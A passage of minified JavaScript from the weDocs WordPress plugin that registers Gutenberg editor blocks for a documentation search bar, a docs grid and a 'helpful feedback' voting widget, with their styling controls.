010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"})}),d=window.wp.element,u=window.wp.blockEditor,g=window.wp.components,m=({label:e,value:t,unit:o,onValueChange:a,onUnitChange:r})=>(0,l.createElement)(g.Flex,null,(0,l.createElement)(g.FlexBlock,null,(0,l.createElement)(g.TextControl,{label:e,value:parseInt(t),onChange:e=>a(e)})),(0,l.createElement)(g.FlexItem,null,(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Unit","wedocs"),value:o,options:[{label:"px",value:"px"},{label:"%",value:"%"}],onChange:e=>r(e)}))),h=({selected:e,options:t,onChange:o})=>(0,l.createElement)(g.BaseControl,null,(0,l.createElement)("div",{className:"radio-image-control-options"},t.map((t=>(0,l.createElement)("div",{key:t.value,className:"radio-image-option"},(0,l.createElement)("input",{type:"radio",id:`radio-image-${t.value}`,value:t.value,checked:e===t.value,onChange:e=>o(e.target.value)}),(0,l.createElement)("label",{htmlFor:`radio-image-${t.value}`},t.icon&&(0,l.createElement)("i",{className:`dashicons ${t.icon}`}),t.img&&(0,l.createElement)("img",{src:t.img,alt:t.label}),t?.svg)))))),_={hideSearch:{type:"boolean",default:!1},searchWidth:{type:"number",default:50},widthUnit:{type:"string",default:"%"},placeholder:{type:"string",default:(0,n.__)("Search for a top or question","wedocs")},alignment:{type:"string",default:"right"},bgColor:{type:"string",default:"#FFFFFF"},hoverColor:{type:"string",default:"#FFFFFF"},padding:{type:"object",default:{top:14,left:22,right:22,bottom:14}},margin:{type:"object",default:{top:0,left:0,right:0,bottom:0}},borderColor:{type:"string",default:"#cccccc"},borderType:{type:"string",default:"solid"},borderWidth:{type:"number",default:1},borderRadius:{type:"number",default:30},iconColor:{type:"string",default:"#FFFFFF"},iconBgColor:{type:"string",default:"#3b82f6"},iconHoverColor:{type:"string",default:"#2563eb"},svgHoverColor:{type:"string",default:"#FFFFFF"},btnPadding:{type:"object",default:{top:24,left:26,right:26,bottom:24}},btnPosition:{type:"object",default:{top:0,right:0,bottom:10}},btnRadius:{type:"number",default:30}};(0,a.registerBlockType)("wedocs/wedocs-search",{attributes:_,save:({attributes:e})=>{const{margin:t,bgColor:o,padding:a,btnRadius:n,alignment:r,iconColor:c,widthUnit:i,hoverColor:s,borderType:g,hideSearch:m,btnPadding:h,searchWidth:_,btnPosition:p,placeholder:b,borderColor:C,borderWidth:v,iconBgColor:w,borderRadius:f,svgHoverColor:x,iconHoverColor:E}=e;if(m)return;const B={display:"flex",justifyContent:r},y={border:`${v}px ${g} ${C}`,paddingTop:a?.top,paddingLeft:a?.left,paddingRight:a?.right,borderRadius:`${f}px`,paddingBottom:a?.bottom,"--field-color":o,"--field-bg-color":s},S={top:p?.top,left:p?.left,right:p?.right,bottom:p?.bottom,height:"auto",paddingTop:h?.top,paddingLeft:h?.left,borderRadius:n,paddingRight:h?.right,paddingBottom:h?.bottom,"--field-icon-color":c,"--field-btn-bg-color":w,"--field-icon-hover-color":x,"--field-btn-bg-hover-color":E};return(0,l.createElement)(d.Fragment,null,(0,l.createElement)("form",{method:"get",role:"search",action:weDocsBlockVars?.siteUrl,...u.useBlockProps.save({className:"search-form wedocs-search-form"})},(0,l.createElement)("div",{style:B},(0,l.createElement)("div",{className:"wedocs-search-input",style:{width:_+i,marginTop:t?.top,marginLeft:t?.left,marginRight:t?.right,marginBottom:t?.bottom}},(0,l.createElement)("input",{name:"s",type:"search",style:y,className:"search-field",placeholder:b}),(0,l.createElement)("input",{type:"hidden",name:"post_type",value:"docs"}),(0,l.createElement)("button",{type:"submit",style:S,className:"search-submit"},(0,l.createElement)("svg",{width:"15",height:"16",fill:"none"},(0,l.createElement)("path",{fillRule:"evenodd",d:"M11.856 10.847l2.883 2.883a.89.89 0 0 1 0 1.257c-.173.174-.401.261-.629.261s-.455-.087-.629-.261l-2.883-2.883c-1.144.874-2.532 1.353-3.996 1.353a6.56 6.56 0 0 1-4.671-1.935c-2.576-2.575-2.576-6.765 0-9.341C3.179.934 4.839.247 6.603.247s3.424.687 4.671 1.935a6.56 6.56 0 0 1 1.935 4.67 6.55 6.55 0 0 1-1.353 3.995zM3.189 3.439c-1.882 1.882-1.882 4.945 0 6.827.912.912 2.124 1.414 3.414 1.414s2.502-.502 3.414-1.414 1.414-2.124 1.414-3.413-.502-2.502-1.414-3.413-2.124-1.414-3.414-1.414-2.502.502-3.414 1.414z"})))))))},edit:({attributes:e,setAttributes:t})=>{const o=(0,u.useBlockProps)(),{margin:a,bgColor:r,padding:c,btnRadius:_,alignment:p,iconColor:b,widthUnit:C,hoverColor:v,borderType:w,hideSearch:f,btnPadding:x,searchWidth:E,btnPosition:B,placeholder:y,borderColor:S,borderWidth:T,iconBgColor:k,borderRadius:P,svgHoverColor:F,iconHoverColor:R}=e;console.log("editor panel:",r);const H=[{value:"left",label:(0,n.__)("Align left","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"left"===p?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M8 9.462h12m-12 6h6m-10-9v12"}))},{value:"center",label:(0,n.__)("Align center","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"center"===p?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M18 9.462H6m8.99 6h-6"}),(0,l.createElement)("path",{d:"M12 6.462v12"}))},{value:"right",label:(0,n.__)("Align right","wedocs"),svg:(0,l.createElement)("svg",{width:"24",height:"25",fill:"none",strokeWidth:"2",strokeLinecap:"round",stroke:"right"===p?"#007cba":"#939494",strokeLinejoin:"round"},(0,l.createElement)("path",{d:"M16 9.462H4m12 6h-6m10-9v12"}))}],[$,N]=(0,d.useState)(!1),[M,A]=(0,d.useState)(!1),[O,D]=(0,d.useState)(!1),L={display:"flex",justifyContent:p},W={border:`${T}px ${w} ${S}`,paddingTop:c?.top,background:$?v:r,paddingLeft:c?.left,paddingRight:c?.right,borderRadius:`${P}px`,paddingBottom:c?.bottom},I={top:B?.top,left:B?.left,right:B?.right,bottom:B?.bottom,height:"auto",background:O?R:k,paddingTop:x?.top,paddingLeft:x?.left,borderRadius:_,paddingRight:x?.right,paddingBottom:x?.bottom},V=[{label:(0,n.__)("Solid","wedocs"),value:"solid"},{label:(0,n.__)("Dotted","wedocs"),value:"dotted"},{label:(0,n.__)("Dashed","wedocs"),value:"dashed"},{label:(0,n.__)("Double","wedocs"),value:"double"},{label:(0,n.__)("Groove","wedocs"),value:"groove"},{label:(0,n.__)("Ridge","wedocs"),value:"ridge"},{label:(0,n.__)("Inset","wedocs"),value:"inset"},{label:(0,n.__)("Outset","wedocs"),value:"outset"},{label:(0,n.__)("None","wedocs"),value:"none"},{label:(0,n.__)("Hidden","wedocs"),value:"hidden"}];return(0,l.createElement)(d.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(g.PanelBody,null,(0,l.createElement)(g.ToggleControl,{checked:f,className:"wedocs-search-toggle",label:(0,n.__)("Disable Block","wedocs"),onChange:e=>t({hideSearch:e})})),!f&&(0,l.createElement)(d.Fragment,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Color Settings","wedocs"),icon:i,initialOpen:!1,className:"wedocs-search-color-settings"},(0,l.createElement)(u.PanelColorSettings,{colors:[{name:"Sweet",color:"#F43F5E"},{name:"Orange",color:"#F97316"},{name:"Yellow",color:"#FACC15"},{name:"Purple",color:"#8B5CF6"},{name:"Light Blue",color:"#3B82F6"},{name:"Light Green",color:"#10B981"}],colorSettings:[{value:r,label:(0,n.__)("Field Background Color","wedocs"),onChange:e=>t({bgColor:e})},{value:v,label:(0,n.__)("Field Hover Color","wedocs"),onChange:e=>t({hoverColor:e})},{value:S,label:(0,n.__)("Border Color","wedocs"),onChange:e=>t({borderColor:e})},{value:b,label:(0,n.__)("Icon Color","wedocs"),onChange:e=>t({iconColor:e})},{value:k,label:(0,n.__)("Button Color","wedocs"),onChange:e=>t({iconBgColor:e})},{value:R,label:(0,n.__)("Button Hover Color","wedocs"),onChange:e=>t({iconHoverColor:e})},{value:F,label:(0,n.__)("Icon Hover Color","wedocs"),onChange:e=>t({svgHoverColor:e})}]})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Search Bar Settings","wedocs"),icon:s},(0,l.createElement)(m,{unit:C,value:E,label:(0,n.__)("Field Width","wedocs"),onUnitChange:e=>t({widthUnit:e}),onValueChange:e=>t({searchWidth:e?parseInt(e):0})}),(0,l.createElement)(g.TextControl,{value:y,label:(0,n.__)("Placeholder","wedocs"),placeholder:(0,n.__)("Search bar placeholder","wedocs"),onChange:e=>t({placeholder:e})}),(0,l.createElement)("p",{style:{fontSize:11}},(0,n.__)("POSITION","wedocs")),(0,l.createElement)(h,{selected:p,options:H,onChange:e=>t({alignment:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"14px",left:"22px",right:"22px",bottom:"14px"},values:c,label:(0,n.__)("Field Padding","wedocs"),onChange:e=>t({padding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"0px",left:"0px",right:"0px",bottom:"0px"},values:a,label:(0,n.__)("Field Margin","wedocs"),onChange:e=>t({margin:e})}),(0,l.createElement)(g.RangeControl,{min:0,max:10,value:T,label:(0,n.__)("Border Width","wedocs"),onChange:e=>t({borderWidth:e})}),(0,l.createElement)(g.RangeControl,{min:0,max:100,value:P,label:(0,n.__)("Border Radius","wedocs"),onChange:e=>t({borderRadius:e})}),(0,l.createElement)(g.SelectControl,{value:w,options:V,label:(0,n.__)("Border Type","wedocs"),onChange:e=>t({borderType:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"24px",left:"26px",right:"26px",bottom:"24px"},values:x,label:(0,n.__)("Button Padding","wedocs"),onChange:e=>t({btnPadding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{resetValues:{top:"0px",right:"0px",bottom:"10px"},values:B,label:(0,n.__)("Button Margin","wedocs"),onChange:e=>t({btnPosition:e})}),(0,l.createElement)(g.RangeControl,{min:0,max:100,value:_,label:(0,n.__)("Button Radius","wedocs"),onChange:e=>t({btnRadius:e})})))),(0,l.createElement)("div",{...o,style:L},(0,l.createElement)("div",{className:"wedocs-editor-search-input",style:{width:E+C,marginTop:a?.top,marginLeft:a?.left,marginRight:a?.right,marginBottom:a?.bottom}},(0,l.createElement)("input",{readOnly:!0,style:W,className:"search-field",placeholder:y,onMouseEnter:()=>N(!0),onMouseLeave:()=>N(!1)}),(0,l.createElement)("input",{type:"hidden",name:"post_type",value:"docs"}),(0,l.createElement)("button",{type:"submit",style:I,className:"search-submit",onMouseEnter:()=>D(!0),onMouseLeave:()=>D(!1)},(0,l.createElement)("svg",{width:"15",height:"16",fill:"none",onMouseEnter:()=>A(!0),onMouseLeave:()=>A(!1)},(0,l.createElement)("path",{fill:M?F:b,fillRule:"evenodd",d:"M11.856 10.847l2.883 2.883a.89.89 0 0 1 0 1.257c-.173.174-.401.261-.629.261s-.455-.087-.629-.261l-2.883-2.883c-1.144.874-2.532 1.353-3.996 1.353a6.56 6.56 0 0 1-4.671-1.935c-2.576-2.575-2.576-6.765 0-9.341C3.179.934 4.839.247 6.603.247s3.424.687 4.671 1.935a6.56 6.56 0 0 1 1.935 4.67 6.55 6.55 0 0 1-1.353 3.995zM3.189 3.439c-1.882 1.882-1.882 4.945 0 6.827.912.912 2.124 1.414 3.414 1.414s2.502-.502 3.414-1.414 1.414-2.124 1.414-3.413-.502-2.502-1.414-3.413-2.124-1.414-3.414-1.414-2.502.502-3.414 1.414z"})))),f&&(0,l.createElement)("div",{className:"backdrop"})))},icon:(0,l.createElement)("svg",{width:"20",height:"20",viewBox:"0 0 20 20",fill:"none"},(0,l.createElement)("path",{fillRule:"evenodd",clipRule:"evenodd",d:"M8.91421 1.5H5.5C4.39543 1.5 3.5 2.39543 3.5 3.5V6.91421V9.02779V15.5C3.5 16.6046 4.39543 17.5 5.5 17.5H7.02779C6.07771 16.4385 5.5 15.0367 5.5 13.5C5.5 10.1863 8.18629 7.5 11.5 7.5C13.0367 7.5 14.4385 8.07771 15.5 9.02779V8.5V6.91421C15.5 6.38378 15.2893 5.87507 14.9142 5.5L11.5 2.08579C11.1249 1.71071 10.6162 1.5 10.0858 1.5H8.91421ZM15.5 13.5C15.5 11.2909 13.7091 9.5 11.5 9.5C9.29086 9.5 7.5 11.2909 7.5 13.5C7.5 15.7091 9.29086 17.5 11.5 17.5C12.2414 17.5 12.9364 17.2977 13.5318 16.946L14.7929 18.2071C15.1834 18.5976 15.8166 18.5976 16.2071 18.2071C16.5976 17.8166 16.5976 17.1834 16.2071 16.7929L14.946 15.5318C15.2977 14.9364 15.5 14.2414 15.5 13.5ZM11.5 11.5C12.6046 11.5 13.5 12.3954 13.5 13.5C13.5 14.0526 13.2772 14.5512 12.9142 14.9142C12.5512 15.2772 12.0526 15.5 11.5 15.5C10.3954 15.5 9.5 14.6046 9.5 13.5C9.5 12.3954 10.3954 11.5 11.5 11.5Z",fill:"#111827"})),title:(0,n.__)("weDocs - Searchbar","wedocs"),keywords:["Search","weDocs search bar","Bar"],category:"widgets",description:(0,n.__)("Simple search forms for easy user guidance for your documentation","wedocs")});const p=({attributes:e,setAttributes:t})=>{const o=e=>o=>{t({[e]:o})},a=((0,n.__)("Solid","wedocs"),(0,n.__)("Dashed","wedocs"),(0,n.__)("Dotted","wedocs"),(0,n.__)("None","wedocs"),[{name:"Sweet",color:"#F43F5E"},{name:"Orange",color:"#F97316"},{name:"Yellow",color:"#FACC15"},{name:"Purple",color:"#8B5CF6"},{name:"Light Blue",color:"#3B82F6"},{name:"Light Green",color:"#10B981"}]);return(0,l.createElement)(l.Fragment,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Grid Styles","wedocs"),icon:"admin-appearance",initialOpen:!1},(0,l.createElement)("label",null,(0,n.__)("Colors","wedocs")),(0,l.createElement)(u.PanelColorSettings,{colors:a,colorSettings:[{value:e.docTitleColor,label:(0,n.__)("Doc Title Color","wedocs"),onChange:e=>o("docTitleColor")(e)},{value:e.docChildrenActiveColor,label:(0,n.__)("Doc Children Active Color","wedocs"),onChange:e=>o("docChildrenActiveColor")(e)},{value:e.borderColor,label:(0,n.__)("Border Color","wedocs"),onChange:e=>o("borderColor")(e)}]}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Grid Padding","wedocs"),values:e.gridPadding,onChange:o("gridPadding")}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Grid Margin","wedocs"),values:e.gridMargin,onChange:o("gridMargin")}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Type","wedocs"),value:e.borderType,options:[{label:(0,n.__)("Solid","wedocs"),value:"solid"},{label:(0,n.__)("Dashed","wedocs"),value:"dashed"},{label:(0,n.__)("Dotted","wedocs"),value:"dotted"},{label:(0,n.__)("None","wedocs"),value:"none"}],onChange:e=>t({borderType:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Width","wedocs"),value:e.borderWidth,options:[{label:"0px",value:"0px"},{label:"1px",value:"1px"},{label:"2px",value:"2px"},{label:"3px",value:"3px"},{label:"4px",value:"4px"},{label:"5px",value:"5px"}],onChange:e=>t({borderWidth:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Radius","wedocs"),value:e.borderRadius,options:[{label:"0px",value:"0px"},{label:"4px",value:"4px"},{label:"8px",value:"8px"},{label:"12px",value:"12px"},{label:"16px",value:"16px"},{label:"20px",value:"20px"}],onChange:e=>t({borderRadius:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Button Styles","wedocs"),icon:"admin-appearance",initialOpen:!1},(0,l.createElement)("label",null,(0,n.__)("Button Colors","wedocs")),(0,l.createElement)(u.PanelColorSettings,{colors:a,colorSettings:[{value:e.buttonColor,label:(0,n.__)("Button Color","wedocs"),onChange:e=>o("buttonColor")(e)},{value:e.buttonHoverColor,label:(0,n.__)("Button Hover Color","wedocs"),onChange:e=>o("buttonHoverColor")(e)},{value:e.buttonTextColor,label:(0,n.__)("Button Text Color","wedocs"),onChange:e=>o("buttonTextColor")(e)},{value:e.buttonHoverTextColor,label:(0,n.__)("Button Hover Text Color","wedocs"),onChange:e=>o("buttonHoverTextColor")(e)}]}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Button Padding","wedocs"),values:e.buttonPadding,onChange:o("buttonPadding")}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Button Margin","wedocs"),values:e.buttonMargin,onChange:o("buttonMargin")}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Button Border Radius","wedocs"),value:e.buttonBorderRadius,options:[{label:"0px",value:"0px"},{label:"4px",value:"4px"},{label:"8px",value:"8px"},{label:"12px",value:"12px"},{label:"16px",value:"16px"},{label:"20px",value:"20px"}],onChange:e=>t({buttonBorderRadius:e})}),(0,l.createElement)("div",{className:"wedocs-color-control"},(0,l.createElement)("label",null,(0,n.__)("Button Text","wedocs")),(0,l.createElement)(g.TextControl,{value:e.buttonText,onChange:o("buttonText")}))))},b=JSON.parse('{"UU":"wedocs/wedocs-docs-grid"}');(0,a.registerBlockType)(b.UU,{edit:({attributes:e,setAttributes:t})=>{const o=(0,u.useBlockProps)(),{useSelect:a}=wp.data,[r,c]=(0,d.useState)(1),[i,m]=(0,d.useState)(!1),{hideDocGrid:h,docStyle:_,docsPerPage:b,excludeDocs:C,order:v,orderBy:w,sectionsPerDoc:f,articlesPerSection:x,showDocArticle:E,keepArticlesCollapsed:B,showViewDetails:y,gridPadding:S,gridMargin:T,docTitleColor:k,docChildrenActiveColor:P,borderType:F,borderRadius:R,borderWidth:H,borderColor:$,buttonBorderRadius:N,buttonPadding:M,buttonMargin:A,buttonColor:O,buttonHoverColor:D,buttonTextColor:L,buttonText:W,buttonHoverTextColor:I}=e,V=[{label:"All",value:"all"},...Array.from({length:10},((e,t)=>({label:String(t+1),value:String(t+1)})))],j=[{label:(0,n.__)("weDocs Order","wedocs"),value:"menu_order"},{label:(0,n.__)("ID","wedocs"),value:"id"},{label:(0,n.__)("Name","wedocs"),value:"title"}],z=[{label:(0,n.__)("Ascending","wedocs"),value:"asc"},{label:(0,n.__)("Descending","wedocs"),value:"desc"}],U=[{label:"All",value:"all"},...Array.from({length:10},((e,t)=>({label:String(t+1),value:String(t+1)})))],{pages:G,sections:Y,articles:Z}=a((e=>{const{getEntityRecords:t}=e("core"),o=t("postType","docs",{status:"publish",per_page:-1,parent:0,orderby:w,order:v}),l=o?t("postType","docs",{status:"publish",parent_in:o.map((e=>e.id)),per_page:-1}):null,a=l?t("postType","docs",{status:"publish",parent_in:l.map((e=>e.id)),per_page:-1}):null;return{pages:o,sections:l,articles:a}}),[w,v]),q=(e=>{if("all"===b)return e;const t=parseInt(b),o=(r-1)*t,l=o+t;return e.slice(o,l)})((()=>{if(!G||!Y||!Z)return[];let e=[...G];return C&&C.length>0&&(e=e.filter((e=>!C.includes(e.id.toString())))),e=e.map((e=>{let t=Y.filter((t=>t.parent===e.id));"all"!==f&&(t=t.slice(0,parseInt(f))),t=t.map((e=>{let t=Z.filter((t=>t.parent===e.id));return"all"!==x&&(t=t.slice(0,parseInt(x))),{...e,articles:t}}));const o=t.reduce(((e,t)=>e+t.articles.length),0);return{...e,sections:t,articleCount:o}})),e})()),Q=G?G.reduce(((e,t)=>(e[t.id]=t.title.rendered,e)),{}):{},J=(G&&G.map((e=>({value:e.id.toString(),label:e.title.rendered}))),e=>o=>{t({[e]:o})}),K=C?C.map((e=>Q[e]||e)):[];return(0,l.createElement)(d.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Doc Grid Settings","wedocs"),icon:s,initialOpen:!1},(0,l.createElement)(g.SelectControl,{value:_,options:[{label:"1x1",value:"1x1"},{label:"1x2",value:"1x2"}],label:(0,n.__)("DOCS GRID COLUMN STYLE","wedocs"),onChange:J("docStyle")}),(0,l.createElement)(g.SelectControl,{value:b,options:V,label:(0,n.__)("Docs per page","wedocs"),onChange:J("docsPerPage")}),(0,l.createElement)(g.FormTokenField,{value:K,suggestions:Object.values(Q),label:(0,n.__)("Exclude Docs","wedocs"),onChange:e=>{const o=e.map((e=>{const t=Object.entries(Q).find((([t,o])=>o===e));return t?t[0]:e}));t({excludeDocs:o})}}),(0,l.createElement)(g.SelectControl,{value:v,options:z,label:(0,n.__)("Order","wedocs"),onChange:J("order")}),(0,l.createElement)(g.SelectControl,{value:w,options:j,label:(0,n.__)("Order by","wedocs"),onChange:J("orderBy")}),(0,l.createElement)(g.SelectControl,{value:f,options:U,label:(0,n.__)("Sections per doc","wedocs"),onChange:J("sectionsPerDoc")}),(0,l.createElement)(g.SelectControl,{value:x,options:U,label:(0,n.__)("Articles per section","wedocs"),onChange:J("articlesPerSection")}),(0,l.createElement)(g.PanelRow,null,(0,l.createElement)(g.ToggleControl,{checked:E,label:(0,n.__)("Show Doc Article","wedocs"),onChange:J("showDocArticle")})),(0,l.createElement)(g.PanelRow,null,(0,l.createElement)(g.ToggleControl,{checked:B,label:(0,n.__)("Keep Article Collapsed","wedocs"),onChange:J("keepArticlesCollapsed")})),(0,l.createElement)(g.PanelRow,null,(0,l.createElement)(g.ToggleControl,{checked:y,label:(0,n.__)("Show View Details Button","wedocs"),onChange:J("showViewDetails")})))),(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(p,{attributes:e,setAttributes:t})),(0,l.createElement)("div",{...o},h?(0,l.createElement)("div",{className:"backdrop"}):(0,l.createElement)("div",{className:"wedocs-block-wrapper"},(0,l.createElement)("div",{className:`wedocs-docs-grid wedocs-docs-grid--${_}`},i?(0,l.createElement)(Spinner,null):q.map((e=>((e,t)=>(0,l.createElement)("div",{key:e.id,className:"wedocs-docs-grid__item",style:t.item},(0,l.createElement)("h3",{className:"wedocs-docs-grid__title",style:t.title},e.title.rendered),((e,t)=>e.sections?(0,l.createElement)("div",{className:"wedocs-docs-grid__sections "+(B?"is-collapsed":"")},e.sections.map((e=>(0,l.createElement)("div",{key:e.id,className:"wedocs-docs-grid__section"},(0,l.createElement)("h4",{className:"wedocs-docs-grid__section-title",style:{...t.title,display:"flex",justifyContent:"space-between",alignItems:"center"}},(0,l.createElement)("span",null,e.title.rendered),E&&e.articles&&e.articles.length>0&&(0,l.createElement)("svg",{fill:"none",viewBox:"0 0 24 24",width:"16",strokeWidth:"2",stroke:"#acb8c4",className:B?"":"active"},(0,l.createElement)("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"}))),E&&!B&&e.articles&&(0,l.createElement)("ul",{className:"wedocs-docs-grid__articles"},e.articles.map((e=>(0,l.createElement)("li",{key:e.id,className:"wedocs-docs-grid__article",style:t.children},e.title.rendered))))))),0===e.sections.length&&(0,l.createElement)("span",{className:"inside"},(0,l.createElement)("svg",{fill:"none",viewBox:"0 0 24 24","stroke-width":"1.5",stroke:"currentColor"},(0,l.createElement)("path",{"stroke-linecap":"round","stroke-linejoin":"round",d:"M11.25 11.25l.041-.02a.75.75 0 011.063.852l-.708 2.836a.75.75 0 001.063.853l.041-.021M21 12a9 9 0 11-18 0 9 9 0 0118 0zm-9-3.75h.008v.008H12V8.25z"})),(0,n.__)("This document has no sections yet. Check back later or wait for the author to add content.","wedocs"))):null)(e,t),y&&(0,l.createElement)("div",{className:"wedocs-docs-grid__details"},(0,l.createElement)("span",{className:"wedocs-docs-grid__details-link",style:t.button},t.button.text))))(e,(()=>{const e=S?`${S.top} ${S.right} ${S.bottom} ${S.left}`:"",t=T?`${T.top} ${T.right} ${T.bottom} ${T.left}`:"",o=M?`${M.top} ${M.right} ${M.bottom} ${M.left}`:"",l=N||"8px",a=A?`${A.top} ${A.right} ${A.bottom} ${A.left}`:"";return{item:{padding:e,margin:t,borderStyle:F||"solid",borderWidth:H||"1px",borderColor:$||"rgba(0, 0, 0, 0.1)",borderRadius:R||"8px",backgroundColor:"#fff"},title:{color:k||"#1e1e1e"},children:{color:P||"#0073aa"},button:{padding:o,margin:a,backgroundColor:O||"#0073aa",color:L||"#ffffff",text:W||(0,n.__)("View Details","wedocs"),borderRadius:l||"8px","--hover-bg":D||"#005177","--hover-color":I||"#ffffff"}}})())))))))},save:()=>null});const C=(0,c.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,c.jsx)(r.Path,{d:"m3 12 1 8h1.5l-1-8H3Zm15.8-2h-4.4l.8-3.6c.3-1.3-.7-2.4-1.9-2.4h-.2c-.6 0-1.2.3-1.6.8l-5 6.6c-.3.4-.4.8-.4 1.2v.2l.7 5.4v.2c.2.9 1 1.5 1.9 1.5h8.2c.9 0 1.7-.6 1.9-1.4l1.8-6c.4-1.3-.6-2.6-1.9-2.6Zm.5 2.1-1.8 6c0 .2-.3.4-.5.4H8.8c-.3 0-.5-.2-.5-.4l-.7-5.4v-.4l5-6.6c0-.1.2-.2.4-.2h.2c.3 0 .6.3.5.6l-.8 3.6c-.1.4 0 .9.3 1.3s.7.6 1.2.6h4.4c.3 0 .6.3.5.6Z"})}),v=(0,c.jsx)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,c.jsx)(r.Path,{d:"M19.8 4h-1.5l1 8h1.5l-1-8ZM17 5.8c-.1-1-1-1.8-2-1.8H6.8c-.9 0-1.7.6-1.9 1.4l-1.8 6C2.7 12.7 3.7 14 5 14h4.4l-.8 3.6c-.3 1.3.7 2.4 1.9 2.4h.2c.6 0 1.2-.3 1.6-.8l5-6.6c.3-.4.5-.9.4-1.5L17 5.7Zm-.9 5.9-5 6.6c0 .1-.2.2-.4.2h-.2c-.3 0-.6-.3-.5-.6l.8-3.6c.1-.4 0-.9-.3-1.3s-.7-.6-1.2-.6H4.9c-.3 0-.6-.3-.5-.6l1.8-6c0-.2.3-.4.5-.4h8.2c.3 0 .5.2.5.4l.7 5.4v.4Z"})}),w=JSON.parse('{"UU":"wedocs/helpful-feedback"}');(0,a.registerBlockType)(w.UU,{edit:({attributes:e,setAttributes:t})=>{const o=(0,u.useBlockProps)(),{questionText:a,layout:r,alignment:c,showVoteCount:i,allowAnonymous:s,yesButtonText:m,noButtonText:_,thankYouMessage:p,containerBgColor:b,containerBgHoverColor:w,containerPadding:f,containerMargin:x,containerBorderStyle:E,containerBorderColor:B,containerBorderWidth:y,containerBorderRadius:S,containerBoxShadow:T,titleColor:k,titleFontSize:P,titleFontWeight:F,titleLineHeight:R,titleLetterSpacing:H,titlePadding:$,titleMargin:N,yesButtonColor:M,yesButtonHoverColor:A,yesButtonActiveColor:O,noButtonColor:D,noButtonHoverColor:L,noButtonActiveColor:W,buttonTextColor:I,buttonTextHoverColor:V,iconWidth:j,iconHeight:z,iconColor:U,iconHoverColor:G,innerIconColor:Y,innerIconHoverColor:Z,buttonBorderStyle:q,buttonBorderColor:Q,buttonBorderHoverColor:J,buttonBorderWidth:K,buttonBorderRadius:X,buttonBoxShadow:ee,additionalCssClass:te,dataAttributes:oe}=e,le=[{label:(0,n.__)("Layout 1","wedocs"),value:"layout1",svg:(0,l.createElement)("svg",{width:"60",height:"40",viewBox:"0 0 60 40"},(0,l.createElement)("rect",{x:"5",y:"15",width:"15",height:"10",fill:"#4CAF50"}),(0,l.createElement)("rect",{x:"25",y:"15",width:"15",height:"10",fill:"#9e9e9e"}),(0,l.createElement)("text",{x:"30",y:"8",fontSize:"8",textAnchor:"middle"},"Question"))},{label:(0,n.__)("Layout 2","wedocs"),value:"layout2",svg:(0,l.createElement)("svg",{width:"60",height:"40",viewBox:"0 0 60 40"},(0,l.createElement)("circle",{cx:"15",cy:"20",r:"8",fill:"#4CAF50"}),(0,l.createElement)("circle",{cx:"35",cy:"20",r:"8",fill:"#9e9e9e"}),(0,l.createElement)("text",{x:"30",y:"8",fontSize:"8",textAnchor:"middle"},"Question"))}],ae=[{label:(0,n.__)("Left","wedocs"),value:"left"},{label:(0,n.__)("Center","wedocs"),value:"center"},{label:(0,n.__)("Right","wedocs"),value:"right"}],ne=[{label:(0,n.__)("None","wedocs"),value:"none"},{label:(0,n.__)("Solid","wedocs"),value:"solid"},{label:(0,n.__)("Dashed","wedocs"),value:"dashed"},{label:(0,n.__)("Dotted","wedocs"),value:"dotted"}],re=[{label:(0,n.__)("Normal","wedocs"),value:"400"},{label:(0,n.__)("Medium","wedocs"),value:"500"},{label:(0,n.__)("Semi Bold","wedocs"),value:"600"},{label:(0,n.__)("Bold","wedocs"),value:"700"}],ce={backgroundColor:b,padding:`${f.top} ${f.right} ${f.bottom} ${f.left}`,margin:`${x.top} ${x.right} ${x.bottom} ${x.left}`,border:"none"!==E?`${y.top} ${E} ${B}`:"none",borderRadius:`${S.top} ${S.right} ${S.bottom} ${S.left}`,boxShadow:T,textAlign:c,transition:"all 0.3s ease"},ie={color:k,fontSize:P,fontWeight:F,lineHeight:R,letterSpacing:H,padding:`${$.top} ${$.right} ${$.bottom} ${$.left}`,margin:`${N.top} ${N.right} ${N.bottom} ${N.left}`},se={border:"none"!==q?`${K} ${q} ${Q}`:"none",borderRadius:X,boxShadow:ee,color:I,padding:"12px 24px",margin:"0 8px",cursor:"pointer",display:"inline-flex",alignItems:"center",gap:"8px",transition:"all 0.3s 